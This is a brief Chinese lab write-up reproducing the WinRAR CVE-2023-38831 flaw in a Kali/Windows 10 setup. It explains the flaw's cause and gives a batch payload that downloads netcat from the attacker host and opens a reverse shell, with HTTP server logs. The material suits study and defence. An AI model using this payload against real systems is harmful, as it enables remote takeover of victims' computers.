winRAR-RCE

CVE-2023-38831

漏洞原理

CVE-2023-38831 WinRAR 逻辑漏洞原因分析-CSDN博客

winrar版本<6.2.2

1、当受害者尝试打开存档文件中的"test.png "时，WinRAR会比较存档中的所有文件以查找与"test.png "同名的文件/目录
2、如果存在与"test.png "同名的目录，WinRAR则会继续检查"test.png /"目录下的文件
3、如果"test.png /"目录下同样存在文件名为"test.png "的文件则将"test.png /"目录下"test.png "文件放入提取列表中
4、最终导致压缩包中的test.png .cmd被解压出来，并且运行

漏洞复现

攻击机（kali）

在nc同目录下启动http服务（使受害者通过连接来下载nc）

python2：python -m SimpleHTTPServer 8888
python3：python -m http.server 8888

┌──(root💀kali)-[~/rarpoc]
└─# ls
nc64.exe

┌──(root💀kali)-[~/rarpoc]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.28.1 - - [19/Jan/2024 07:39:54] "GET / HTTP/1.1" 200 -
192.168.28.1 - - [19/Jan/2024 07:39:54] code 404, message File not found
192.168.28.1 - - [19/Jan/2024 07:39:54] "GET /favicon.ico HTTP/1.1" 404 -
192.168.28.1 - - [19/Jan/2024 07:40:13] "GET /nc64.exe HTTP/1.1" 200 -
----------------------------------------

启动nc监听

编写bat

curl http://192.168.28.129:8888/nc64.exe -O nc64.exe & test.png & nc64.exe 192.168.142.162 4444 -e cmd.exe -d 

用脚本制作poc

将bat和图片png一起打包压缩

python .\make.py test.png script.bat poc.zip

靶机（win10）

靶机用winrar打开压缩包

双击png打开

成功监听